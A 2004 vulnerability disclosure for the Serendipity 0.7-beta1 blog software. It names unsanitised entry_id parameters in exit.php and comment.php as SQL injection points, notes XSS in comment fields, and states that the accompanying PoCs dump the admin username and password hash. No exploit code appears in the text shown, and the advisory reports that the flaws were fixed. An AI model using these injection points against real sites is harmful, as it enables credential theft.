Serendipity 0.7-beta1   SQL Injection   Proof of Concept
By aCiDBiTS    acidbits@gmail.com      13-September-2004

	
"Serendipity (http://www.s9y.org/) is a weblog/blog system,
implemented with PHP. It is standards compliant, feature rich and open
source (BSD License)."
	
There is no user input sanitation for parameters entry_id in exit.php
and comment.php prior being used in a SQL query. This can be exploited
to manipulate SQL queries by injecting arbitrary SQL code. Comment.php
is also prone to XSS through email and username post's fields.
Serendipity 0.7-beta1 and older versions are vulnerable.

Developer team had been notified 13-September-2004 and this
vulnerabilities are fixed from Serendipity 0.7-beta3.
	
These PoCs dumps admin's username and md5(password).
